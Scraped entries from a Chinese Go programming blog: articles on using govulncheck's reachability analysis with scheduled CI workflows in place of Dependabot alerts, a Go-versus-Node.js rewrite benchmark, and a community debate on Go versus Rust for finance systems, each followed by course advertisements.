漏洞风波 为了让这个问题更加具象化，Filippo 在文章中分享了一个他亲身经历的“案发现场”。\n不久前，Filippo 为他维护的密码学基础库 filippo.io/edwards25519 发布了一个安全修复版本（v1.1.1）。这个库在 Go 生态中举足轻重，被数十万个开源项目间接依赖。然而，这个漏洞的触发条件极其苛刻：\n漏洞仅存在于 (*Point).MultiScalarMult 这个非常高级且罕用的 API 方法中，且只有当该方法的接收者（Receiver）不是初始的 identity point 时才会产生未定义的行为。\n现实情况是：在整个 Go 生态系统中，几乎没有任何项目实际调用了这个存在缺陷的特定方法。 大多数依赖该库的项目（比如著名的 github.com/go-sql-driver/mysql 库，拥有 22.8 万以上的依赖者）仅仅是导入了该库的其他基础功能，与有漏洞的代码路径八竿子打不着。\nDependabot 的反应是什么？\n灾难性的噪音。Dependabot 不分青红皂白，仅仅因为版本号低于 v1.1.1，就向 GitHub 上的数千个甚至根本不受影响的 Repository 发送了疯狂的更新 PR。更糟糕的是，这些 PR 附带了由算法自动生成的、耸人听闻的、根本不合逻辑的 CVSS v4 漏洞评分，以及所谓的“73% 兼容性风险警告”。\n结果就是，无数个深夜，开源项目的维护者们收到了刺耳的安全警报，被迫中断手中的工作，去 review 一个修改了一行他们压根用不到的代码的依赖升级 PR。如果他们不合并，项目上就会一直挂着一个红色的“安全风险”标签；如果他们机械地合并了，这就成了“告警疲劳”的典型发作。\nFilippo 一针见血地指出这种行为的荒谬性：\n“由于扫描器未能过滤掉无关的漏洞，这种额外的劳作被硬生生地扔到了开源维护者的脚下，这是不可持续的。维护者的责任是确保项目不受安全漏洞影响；而扫描工具的责任是确保它们不会用假阳性告警去打扰用户。”\n当升级依赖（Dependency bump）成为一种应付扫描工具的机械动作，而不是基于对漏洞影响的真实评估（如是否需要轮换生产环境的密钥、是否需要通知受影响的用户），我们距离真正的安全就已经越来越远了。\n拥抱静态分析，Govulncheck 的降维打击 既然基于版本的 Dependabot 如此不堪，我们应该如何科学地防范软件供应链安全风险？\n答案是：抛弃盲目的版本匹配，使用严肃的、基于静态代码分析的漏洞扫描器。 计算机完全有能力为你完成过滤无用噪音的工作。在 Go 语言生态中，这个“杀手级”的工具就是官方出品的 govulncheck。\n丰富的 Go 官方漏洞数据库 要实现精准的扫描，首先需要高质量的数据源。这正是 Filippo 在 2020 年至 2021 年领导 Go 安全团队时极力推动的战略——投入大量资源建设 Go 官方漏洞数据库（Go Vulnerability Database）。\n与一般只记录模块版本和一段文字描述的 CVE 库不同，Go 漏洞数据库包含了极其丰富的、机器可读的元数据。它严格遵循标准的 OSV (Open Source Vulnerability) 格式。\n让我们看看前面提到的 edwards25519 漏洞（GO-2026-4503）在数据库中的记录：\nmodules: - module: filippo.io/edwards25519 versions: - fixed: 1.1.1 vulnerable_at: 1.1.0 packages: - package: filippo.io/edwards25519 symbols: - Point.MultiScalarMult # 关键所在：精确到了有漏洞的具体方法！ 请注意最底部的 symbols 字段。Go 安全团队并没有笼统地标记整个模块不安全，而是像外科手术刀一样，精准定位到了那个有缺陷的方法 Point.MultiScalarMult。这就为后续的精准静态分析提供了弹药。\nGovulncheck 的核心优势：基于可达性分析 有了精确到“符号（函数/方法）”级别的数据源，govulncheck 就可以对你的代码库施展“降维打击”了。相比于 Dependabot，它具有两大碾压级的优势：\n优势一：包级别的过滤 Go 语言的模块通常由多个子包（Packages）组成，这是良好的代码组织习惯。如果一个漏洞发生在模块的 pkgA 中，而你的代码只导入了 pkgB，你显然是安全的。\n任何合格的漏洞扫描器至少应该做到这一层过滤。实际上，这只需要执行一次简单的 go list -deps ./… 命令即可分析出包依赖关系。Dependabot 甚至连这基本的一步都没有做到，导致了大量的假阳性。\n优势二：基于调用图的符号可达性分析 这是 govulncheck 引以为傲的黑科技。它不仅知道你引入了哪些包，它还会像编译器一样分析你的代码，构建出一棵完整的函数调用图（Call Graph）。\n当扫描器运行时，它会沿着调用链路一路追溯：从你的 main 函数或测试入口开始，顺着你的业务逻辑，追踪到你调用的第三方库，再追踪到第三方库调用的更底层的库……\n如果 govulncheck 发现，存在漏洞的那个特定函数（比如 Point.MultiScalarMult），在这棵庞大的调用树中根本不可达（即没有任何一条代码执行路径会调用到它），那么它就会保持沉默。\n让我们看看实际的运行效果。如果你的项目只使用了 go-sql-driver/mysql，并且运行 govulncheck：\n$ govulncheck ./... === Symbol Results === No vulnerabilities found. Your code is affected by 0 vulnerabilities. This scan also found 1 vulnerability in packages you import and 2 vulnerabilities in modules you require, but your code doesn\u0026#39;t appear to call these vulnerabilities. Use \u0026#39;-show verbose\u0026#39; for more details. 看，结果多么清爽！\ngovulncheck 明确地告诉你：“我看到了你的依赖树里有一个有漏洞的模块，但是不用慌，你的代码逻辑根本没有触碰到那个雷区，你是安全的。”\n这种极高的信噪比，是 Dependabot 永远无法企及的。它把安全专家的宝贵时间，留给了真正需要紧急响应的致命漏洞，而不是在日常的升级杂务中消耗殆尽。\n重塑现代 Go 项目的 CI/CD 工作流 如果你被 Filippo 的观点说服，决定彻底关闭 Dependabot 的安全警报，那么你必须建立一套更为科学的自动化机制来接管依赖管理和漏洞检测的工作。\nFilippo 给出了非常具体的行动指南：用两个定时执行的 GitHub Actions 替换 Dependabot。\n行动一：部署独立的 Govulncheck 定时扫描任务 你应该每天定时运行一次 govulncheck。它的作用是充当真正有价值的安全哨兵。\nname: Govulncheck Scan on: push: branches: [ \u0026#34;main\u0026#34; ] pull_request: schedule: # 每天 UTC 时间 10:22 执行 - cron: \u0026#39;22 10 * * *\u0026#39; workflow_dispatch: permissions: contents: read jobs: govulncheck: runs-on: ubuntu-latest steps: - uses: actions/checkout@v5 with: persist-credentials: false - uses: actions/setup-go@v6 with: go-version-file: go.mod - name: Run govulncheck run: | go run golang.org/x/vuln/cmd/govulncheck@latest ./... 为什么这个 Action 不会自动开 PR？\n这是深思熟虑后的设计。如果 govulncheck 报警并导致 CI 失败，这意味着：你的代码明确且切实地调用了一个有已知漏洞的函数。\n此时，情况已经相当严重了。你不能仅仅是指望像机器人一样点击“Merge”升级一个版本就万事大吉。你需要人类工程师介入：\n评估该漏洞在你的特定业务上下文中是否可被利用。 检查是否有数据泄露。 评估是否需要紧急轮换生产环境的数据库凭证、API 密钥或 JWT 签名密钥。 手动更新依赖，运行详尽的回归测试，然后再部署上线。 把安全审计权交还给人类大脑，这才是对工程负责的态度。\n行动二：测试最新的依赖项，而不是盲目更新 有人会反驳：可是 Dependabot 除了报安全漏洞，还能帮我们保持依赖常新，避免未来积累过多的技术债啊！\nFilippo 认为，这种做法同样陷入了误区。\n依赖的更新节奏，应当服从于你自身项目的开发周期和发布节奏，而不是被你的上游库作者的发布频率牵着鼻子走。例如，你应该在决定发布下一个主要版本时，集中精力进行一次依赖升级和全面测试，而不是天天被各种次要版本的更新 PR 打扰。\n但是，保持对上游变化的敏感度同样重要。如果我们不天天更新，等真正需要安全更新时，可能会因为版本跨度太大而遭遇严重的 API 不兼容（Patch Delta 过大）。\nFilippo 提出的巧妙解法是：每天在 CI 中，使用你所有依赖的最前沿版本运行一次你的测试套件。\nname: Go Nightly Tests against Latest Dependencies on: schedule: # 每天运行 - cron: \u0026#39;22 10 * * *\u0026#39; # ... 省略部分环境配置 ... jobs: test: runs-on: ubuntu-latest strategy: fail-fast: false matrix: go: - { go-version: stable } - { go-version-file: go.mod } deps: - locked # 针对锁定版本的 go.mod 运行测试 - latest # 针对最新版本依赖运行测试 steps: - uses: actions/checkout@v5 - uses: actions/setup-go@v6 with: go-version: ${{ matrix.go.go-version }} - name: Run tests with sandboxed CI environment uses: geomys/sandboxed-step@v1.2.1 with: run: | if [ \u0026#34;${{ matrix.deps }}\u0026#34; = \u0026#34;latest\u0026#34; ]; then # 关键指令：将所有依赖临时拉取到最新版本，但不修改 go.mod go get -u -t ./... fi go test -v ./... 这种策略的双赢之处：\n零打断的早期预警：你的测试套件每天都在与最前沿的第三方代码搏斗。一旦某个上游库发布了一个引发不兼容的改动，你的每日 CI 就会立刻失败并向你报警，你可以在闲暇时从容应对，而不需要在某个紧急修复的当口被卡住。 极简的代码库：只要测试通过，你根本不需要去修改 go.mod 提交没必要的版本跳跃。你的仓库历史依然干净。 进阶安全提示：防范 CI 投毒\n当你在 CI 中运行 go get -u 时，你实际上是在无审查的情况下执行可能包含了恶意代码的第三方库（尤其是在执行测试时）。为了缓解供应链攻击带来的风险，Filippo 强烈推荐在执行此类测试时引入安全沙箱机制。在上述配置中，geomys/sandboxed-step 是一个基于 gVisor 的沙盒工具，它收回了工作流脚本对 GitHub 环境变量、机密信息以及不必要网络的访问权，确保即使拉取到了恶意的依赖包，它也无法窃取凭证或进行横向移动。这种防御深度，展现了前 Google 安全专家一贯的严谨。\n小结：让工具回归辅助的本位 从盲目轻信机器人的批量 PR，到利用编译原理和图论（可达性分析）进行精准手术刀式的漏洞定位，Filippo Valsorda 给 Go 社区上了一堂生动的工程哲学课。\n自动化绝不是推卸责任的借口。作为一个成熟的软件开发团队，我们应当停止对“警报数量”的崇拜，转而追求“警报质量”。关闭那些让你产生疲劳的噪音机器，配置好你的 govulncheck，把精力集中在真正需要人类智慧去解决的架构演进和安全设计上。\n这不仅是 Go 语言最佳实践的一次更迭，更是我们在面对日益复杂的软件供应链时，应有的冷静与定力。\n资料链接：https://words.filippo.io/dependabot/\n你被 Dependabot “骚扰”过吗？\n自动生成的 PR 虽然方便，但也可能成为开发者的负担。在你的项目中，你是选择一键合并所有的安全更新，还是会仔细评估漏洞的真实影响？你会考虑关掉 Dependabot 的警报，转而投奔 Govulncheck 吗？\n欢迎在评论区分享你的安全治理心得！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/25/govulncheck-high-signal-to-noise-ratio-security-workflow/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/govulncheck-high-signal-to-noise-ratio-security-workflow-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/02/25/govulncheck-high-signal-to-noise-ratio-security-workflow\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/02/25/govulncheck-high-signal-to-noise-ratio-security-workflow\"\u003ehttps://tonybai.com/2026/02/25/govulncheck-high-signal-to-noise-ratio-security-workflow\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在当今的软件开发流程中，持续集成/持续部署（CI/CD）和自动化的安全左移（Shift Left）已经成为行业共识。在这个大背景下，诸如 GitHub Dependabot 这样的自动化依赖更新工具应运而生，并迅速占据了几乎每一个开源项目和商业级代码库的 Repository 设置。它们不知疲倦地扫描 go.mod，一旦发现有依赖项爆出 CVE 漏洞，就会自动生成一个拉取请求（Pull Request, PR），仿佛是在告诉你：“别担心，我已经帮你修好了。”\u003c/p\u003e","title":"拒绝无效告警！用 Govulncheck 构建高信噪比的 Go 安全扫描工作流"},{"content":"\n本文永久链接 – https://tonybai.com/2026/02/24/go-vs-node-js-performance-rewrite-rashomon\n大家好，我是Tony Bai。\n在当今的后端开发圈，“用 Go/Rust 重写 Node.js/Python 项目”似乎成了一种政治正确。在许多开发者的刻板印象中，只要换上静态编译语言，性能就能获得“降维打击”般的提升。\n然而，真实世界的工程往往是一出“罗生门”——不同的人看着同一份数据，得出的结论截然不同。\n近日，在 GitHub 的某个开源项目reverse-shell中，开发者公布了一份极其详尽的 Go 重写版 vs 原生 Node.js 版 的性能基准测试报告。面对这份数据，Go 的拥趸看到了内存消耗的断崖式下降，而 Node.js 的铁粉则指着热启动（Warm Path）的耗时反击：“看，V8 引擎依然能打！”\n这绝不是一场单方面的碾压，Go 并没有在所有维度上将 Node.js 钉在耻辱柱上。本文将基于该 Issue 提供的真实 Benchmark 数据，从执行耗时、内存占用、CPU 消耗以及部署体积等多个维度，为你深度剥析这场性能之战的“罗生门”。Go 究竟赢在了哪里？到底值不值得重写？真相就藏在这些数据里。\n测试背景与环境基调 在深入数据之前，我们需要明确测试的上下文。根据 Issue 提供的信息，本次测试运行在主流的现代硬件上（Apple M4 Max芯片），对比了使用 Go 编写的新版本与原有的 Node.js 版本。\n测试场景涵盖了后端服务最核心的指标：HTTP 接口响应时间（冷启动/热启动）、系统内存占用（Memory Usage）、CPU 消耗以及最终交付的构建产物体积（Distribution Size）。\n值得注意的是，原作者在总结中非常客观地给出了各项指标的“胜者（Winner）”。这为我们的分析奠定了一个理性的基调：我们不谈神话，只看数据。\n响应时间（Execution Time）：V8 引擎的绝地反击 许多人主张重写，最大的诉求就是“天下武功唯快不破”。然而，这份 Benchmark 数据在执行时间上给出了非常微妙的结果，这也是引发“罗生门”争议的核心所在。\n首次请求/冷启动（Uncached/Cold Path） 在未经缓存或首次执行的路径上，Go 展现出了编译型语言的天然优势。\n从数据报表可以看出，Go 在处理未命中缓存的 HTTP 请求时，其 P50、P90、P99 延迟均低于 Node.js。\nNode.js 依赖 V8 引擎执行 JavaScript。在代码刚启动或首次执行特定路径时，V8 需要进行解释执行（Ignition 解释器），此时尚未触发 JIT（即时编译）的深度优化。此外，Node.js 庞大的模块加载树在冷启动时也会拖慢初始响应速度。而 Go 语言是直接编译为机器码的，没有预热过程，代码一经执行便是最高形态，因此在冷请求处理上先拔头筹。\n预热后/热路径（Cached/Warm Path） 这是这份报告中最令人瞩目，也是让 Node.js 捍卫尊严的部分。\n当系统运行一段时间，进入“热路径”后，两者的差距被急剧缩小。报告的 Summary 明确指出，在某些状态下，Node.js 的表现极具竞争力，甚至在特定的小负载处理上与 Go “打平”或略占优势。\n千万不要低估 Google V8 引擎的威力！当 Node.js 的代码被反复执行后，V8 的 TurboFan 编译器会将热点代码（Hot Code）编译为高度优化的机器码。在纯 CPU 逻辑不复杂、主要依赖非阻塞 I/O 的 Web 场景下，预热后的 Node.js 同样快如闪电。\n如果你只看冷启动，Go 是赢家；如果你看系统平稳运行后的常态，Node.js 并没有输。如果你的业务对极端情况下的毫秒级冷启动延迟不敏感，仅仅为了追求 API 的“绝对响应速度”而重写，带来的收益可能远低于预期。\n内存占用（Memory Footprint）：Go 的绝对统治区 如果说在响应速度上两人是势均力敌的对手，那么在内存管理上，这场“罗生门”的迷雾瞬间散去——Go 展现出了对 Node.js 的绝对统治力。\n根据 Benchmark 数据，在承受相同并发压力的前提下，Go 版本的内存使用量仅仅是Node.js版本的五分之一不到。并且在内存增长方面也尽显优势。作者在Summary 表格中毫无悬念地将 Memory 的 Winner 颁给了 Go。\n为什么 Node.js 这么吃内存？\nV8 的基础开销：仅仅是启动一个 Node.js 进程，V8 引擎就需要预先分配相当一部分内存用于自身的运行、垃圾回收堆（Heap）和执行上下文。 万物皆对象：在 JavaScript 中，几乎所有的数据结构都是对象（即便是一个简单的数字，内部也可能有复杂的包裹）。这带来了巨大的内存碎片和对象头（Object Header）开销。 GC 策略：Node.js 的垃圾回收倾向于在内存达到一定阈值时才进行大规模清理，这导致其峰值内存（RSS）往往处于高位。 Go 赢在了哪里？\n值类型与内存对齐：Go 允许开发者使用纯粹的值类型（Value Types），结构体（Structs）在内存中是连续紧凑排列的，没有对象的额外负担。 逃逸分析（Escape Analysis）：Go 编译器极其聪明，它会尽可能将短生命周期的变量分配在栈（Stack）上，而不是堆（Heap）上。栈内存的分配和释放开销几乎为零，且不需要 GC 介入。 微型协程（Goroutine）：Go 的协程初始栈极小（仅 2KB），相比之下，传统的线程或 Node.js 维持高并发异步上下文树要轻量得多。 可以看出，内存优化是这次重构最核心的“硬核红利”。在 Kubernetes 盛行的云原生时代，内存直接与真金白银（Pod 资源限制、节点数量）挂钩。如果你正在为 Node.js 应用居高不下的 OOM（内存溢出）和高昂的云服务器账单发愁，这才是用 Go 重写的最大底气。\n部署与分发（Distribution Size）：运维的终极解脱 最后一个维度，往往被性能测试忽略，但却是运维和 DevOps 团队最关心的指标：部署体积与运维体验。\n基准测试的最后一部分给出了令人舒适的对比：\nNode.js：部署时需要携带庞大的 node_modules 文件夹（被戏称为宇宙中最重的物质），还需要在服务器或 Docker 镜像中安装完整的 Node.js 运行时环境。这不仅导致镜像臃肿，还增加了极大的安全攻击面。 Go：通过静态链接（Static Linking），Go 编译器将所有依赖、业务逻辑和 Runtime 打包成了一个孤立的、极小的二进制文件（Single Binary）。 作者也认为，Go 在这方面取得了毋庸置疑的决定性胜利。\nGo 的构建产物通常只有十几兆到几十兆，且无需外部动态库依赖。这使得 Go 的 Docker 镜像可以基于极简的 scratch 构建，拉取速度极快，启动瞬间完成。这在 Serverless 架构或需要频繁扩缩容的微服务场景下，带来了 Node.js 无法企及的运维优势。\n小结：看透罗生门，回归工程本质 综合这份来自一线的真实 Benchmark 报告，这场关于性能的“罗生门”其实有着非常清晰的结论：\nGo 并没有在单纯的“运行速度”上全面秒杀 Node.js。如果你的瓶颈仅仅在于 I/O 等待，且代码经过了 V8 引擎的充分预热，Node.js 依然是一个性能强悍的后端利器。\n然而，Go 究竟赢在了哪里？它赢在了“工程维度的全面占优”：\n绝对的内存红利：用极低的内存消耗承载高并发，直接降低了云资源成本。 更快的冷启动速度：在微服务和 Serverless 时代，冷启动速度就是金钱。 极简的部署体验：单文件二进制彻底解放了 CI/CD 流水线和镜像仓库。 技术选型永远是权衡（Trade-off）的艺术。如果你只是盲目追求“快那么几毫秒”，V8 引擎的表现可能会让你觉得重写是个错误；但如果你真正想要解决的是内存账单爆炸、冷启动缓慢、以及部署运维臃肿的综合困局，那么这场罗生门的结局早已注定——Go 语言，就是那个无可替代的破局者之一。\n资料链接：https://github.com/lukechilds/reverse-shell/pull/38\n你会为了“省内存”而重写吗？\n很多时候，Go 赢在工程，而非纯粹的运行速度。在你的项目中，你是否遇到过 Node.js 内存溢出（OOM）的噩梦？你认为为了极简的部署和低成本的云账单，值得进行一次大规模的语言重构吗？\n欢迎在评论区分享你的选型“罗生门”！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/24/go-vs-node-js-performance-rewrite-rashomon/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/go-vs-node-js-performance-rewrite-rashomon-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/02/24/go-vs-node-js-performance-rewrite-rashomon\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/02/24/go-vs-node-js-performance-rewrite-rashomon\"\u003ehttps://tonybai.com/2026/02/24/go-vs-node-js-performance-rewrite-rashomon\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在当今的后端开发圈，“用 Go/Rust 重写 Node.js/Python 项目”似乎成了一种政治正确。在许多开发者的刻板印象中，只要换上静态编译语言，性能就能获得“降维打击”般的提升。\u003c/p\u003e","title":"性能之战的“罗生门”：Go 重写 Node.js 项目，究竟赢在了哪里？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/02/23/financial-infrastructure-rust-to-go-pragmatism-victory\n大家好，我是Tony Bai。\n在系统级编程语言的版图上，Go 与 Rust 的对比与争论从未停歇。一个是崇尚大道至简、开发效率极高的“云原生时代王者”；另一个则是以内存安全、零成本抽象和极致性能著称的“极客新宠”。当这两种哲学碰撞在对安全性、稳定性和低延迟要求极高的金融/交易基础设施领域时，开发者该如何抉择？\n近日，在 Reddit 的 r/golang 社区中，一场由 Python 开发者发起的关于“金融基础设施长期演进：Go 还是 Rust？”的技术讨论引发了广泛关注。这位开发者试图为机器学习（ML）流水线、分布式后端和内部 DevOps 工具选择一门强类型语言，并一度陷入了“是否应该同时学习两者”的焦虑中。\n这场社区讨论不仅揭示了两种语言在现代架构中的真实定位，更展现了 Go 社区一贯的“务实主义”工程哲学。本文将深度提炼这场讨论的核心观点，为正处于技术选型十字路口的架构师和开发者提供极具价值的参考。\n核心探讨：金融系统中的“快”与“对” 在金融科技（FinTech）和交易系统中，有两个指标至关重要：性能（Performance/Latency）与 正确性（Correctness）。这恰好对应了系统级语言常常被审视的两个维度。\nRust 的诱惑：绝对的控制与“编译即正确” 许多开发者最初被 Rust 吸引，正是因为其在金融领域展现出的“绝对严谨”。\n代数数据类型与状态机：社区用户指出，Rust 的表达能力极强。在处理复杂的金融业务逻辑（如订单状态流转、复杂的税务和结算规则）时，Rust 的枚举（Enum）和模式匹配可以迫使开发者在编译期处理所有可能的边缘情况，实现所谓的“使无效状态不可表达”（Make invalid states unrepresentable）。 无数据竞争（Data Race Free）：借用检查器（Borrow Checker）和所有权模型在根本上杜绝了多线程环境下的数据竞争。对于处理资金流水的并发程序而言，这种内存安全性能够极大地降低睡眠被报警惊醒的概率。 无 GC 延迟：针对极度敏感的场景（如做市商系统），Rust 摆脱了垃圾回收器（Garbage Collector）的不可预测性，能够提供稳定、可预测的尾部延迟（Tail Latency）。 然而，正如资深工程师在讨论中指出的：“Rust 的高壁垒不仅体现在初始学习成本上，更体现在它持续要求你的大脑处于高速运转状态。” 在编写普通业务代码时，开发者需要不断与编译器“搏斗”，这在无形中拖慢了业务交付（Shipping）的速度。\nGo 的底气：“80% 的性能，20% 的精力” 面对 Rust 强大的理论优势，Go 社区给出的回应并不是在极限性能上去硬碰硬，而是打出了一张工程学上的王牌：投入产出比（ROI）。\n极速的开发与迭代：“如果你的目标是尽快发布产品（Ship fast），同时保持系统的可靠性，Go 是完美的折中。” Go 语言的语法极简，没有复杂的生命周期标注，这使得开发者可以把 100% 的精力放在业务逻辑和系统架构上，而不是讨好编译器。 完美的 I/O 并发模型：金融系统的很大一部分工作并非重度 CPU 计算，而是网络 I/O（如对接外部交易所 API、读取数据库、微服务间通信）。Go 内置的 goroutine 提供了极其廉价的上下文切换机制。一位用户精辟地总结：“在处理高度并发或重度 I/O 阻塞的操作时，Go 是无敌的。而在 Rust 中构建高并发的异步（Async）应用，需要极高的经验值，但在 Go 中这就像呼吸一样自然。” 足够好的性能与 GC：虽然 Go 有垃圾回收机制，但经过十多年的演进，Go 的 GC 停顿时间已经达到了亚毫秒级。对于 99% 的金融应用（如支付网关、账单系统、风控后端）来说，Go 的性能已经“快到了性能盈余”的地步。社区用户坦言：“除非你是在证券交易所做内部的高频交易（HFT），否则 Go 的速度绝对绰绰有余。” 领域决定边界：基础设施与业务逻辑的解耦 讨论中一个非常核心的洞见是：不要试图用一种语言解决所有问题，而是要看清具体领域的边界。楼主的背景是 Python，主要涉及 ML 流水线。这引出了现代架构中非常经典的一种组合模式。\nPython + Go：现代数据驱动架构的“王炸”组合 Python 主宰数据与模型：在机器学习、量化分析和数据科学领域，Python 的生态（Pandas, NumPy, PyTorch）具有不可撼动的统治地位。强行用 Go 或 Rust 去重写模型训练或复杂的矩阵运算，被社区公认为“过早优化”和“重复造轮子”。 Go 主宰服务与编排：当模型训练完成需要部署上线，或者需要构建处理海量请求的 API 网关、数据搬运管道、以及后端微服务时，Python 的 GIL（全局解释器锁）和性能瓶颈就会显现。此时，引入 Go 作为基础设施层（Infrastructure Layer）是最完美的互补。 这种架构下，系统被清晰地划分为：Go 负责将数据又快又稳地搬运和路由，Python（在底层 C/C++ 的加持下）负责纯粹的数学和模型计算。这种解耦使得整个系统既享受了 Python 的生态红利，又获得了 Go 在分布式系统上的强悍工程能力。\n真正的 HFT（高频交易）属于谁？ 不可忽视的是，当讨论深入到金融领域的最底端——高频交易（HFT）时，社区展现出了极度客观的技术视野。\n多位业内人士指出，在纳秒必争的超低延迟交易领域，C++ 依然是绝对的霸主。尽管 Rust 在试图切入这一市场，但 C++ 在传统金融领域积累的庞大库、成熟的生态以及直接操作硬件的能力，短期内难以被撼动。因此，如果业务的核心真的是 HFT，那么 Go 和 Rust 可能都不是最优解。这就进一步确认了 Go 的主战场：高吞吐的分布式后端与云原生基础设施。\n隐性成本：认知负荷、团队建设与代码维护 在架构决策中，语言的特性往往只占 50%，另外 50% 则是关于人的管理。这也是本次社区讨论中，Go 获得压倒性支持的关键原因。\n代码的生命周期与可修改性 “在商业应用中，我更看重随着时间的推移，修改代码有多难。业务需求在不断变化，代码也必须随之改变。”\nGo 的修改成本极低：Go 的代码结构扁平，没有复杂的隐式抽象。这使得重构和修改极其快速。Go 的接口（Interface）设计是隐式的（Duck Typing），在拆分微服务或调整模块时，不需要像严格继承体系那样大动干戈。 Rust 的“牵一发而动全身”：Rust 高度严格的类型系统是一把双刃剑。虽然它保证了修改后的代码几乎不会出错，但在快速迭代期，添加一个新功能往往意味着要重构一大部分的生命周期标注和类型关系，这对于需要快速响应市场变化的初创项目来说是致命的。 团队招聘与代码交接 “如果你用 Rust 构建了一个工具，当系统在半夜发生故障时，团队里的其他人能轻易地看懂代码并修复它吗？”\nGo 的创造者之一 Rob Pike 曾明确表示，Go 的设计初衷就是为了解决 Google 内部大型团队的协作问题。Go 的语法少、规范统一（gofmt），被称为“没有魔法的语言”。一个有其他语言基础的程序员，通常只需一两周就能熟练上手 Go 并提交生产代码。\n相比之下，熟练的 Rust 开发者在市场上不仅稀缺，而且薪资高昂。对于一家非底层技术驱动的金融公司而言，使用 Go 可以极大地降低招聘门槛和团队代码交接的风险。\n小结：务实主义的胜利 回到这位发帖者的终极问题：“我应该同时深入学习 Go 和 Rust 吗？”\n社区给出的答案异常一致：绝对不要。 尤其是在项目初期。同时学习两门底层逻辑截然不同的语言，不仅会带来巨大的认知撕裂，还会严重拖慢项目进度（Shipping speed）。\n最终，这位发帖者更新了他的决定：选择 Go。\n“我不想在开始阶段就陷入困境，既然我是独立开发，我开始觉得 Go 才是正道。对于沉重的数学计算，我会继续让 Python 负责。我意识到 Go 真的非常好用，只要我懂得正确使用它，它能在所有的用例中大显身手。此外，Go 社区是我见过最友好的社区之一，你们太棒了！”\n在 AI、区块链、量化金融等技术泡沫层出不穷的今天，技术选型很容易陷入“追逐时髦”（Hype Driven Development）的陷阱。Rust 无疑是一门伟大的语言，代表了系统编程的未来探索。然而，Go 语言的伟大之处在于它始终保持着极其清醒的工程边界感。\n它不追求类型理论的极致完美，也不苛求消除最后百分之一的性能损耗，它追求的是：在开发者心智负担、编译速度、运行性能、并发模型和部署便利性之间，找到一个无可挑剔的全局最优解。\n对于现代分布式系统、网络服务和金融后端基础设施而言，Go 依然是那个能够让你“早点下班、安心睡觉”的最优选择。这也是务实主义在工程世界里，又一次漂亮的胜利。\n资料链接：https://www.reddit.com/r/golang/comments/1ra0dza/go_vs_rust_for_longterm_systemsfinance/\n你怎么选？\n软件工程永远是权衡的艺术。在你看来，对于非高频交易的后端业务，Rust 带来的安全性是否足以抵消它的开发成本？如果你现在接手一个新项目，你会优先选择“能让你早点下班”的 Go 吗？\n欢迎在评论区分享你的选型“心法”！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 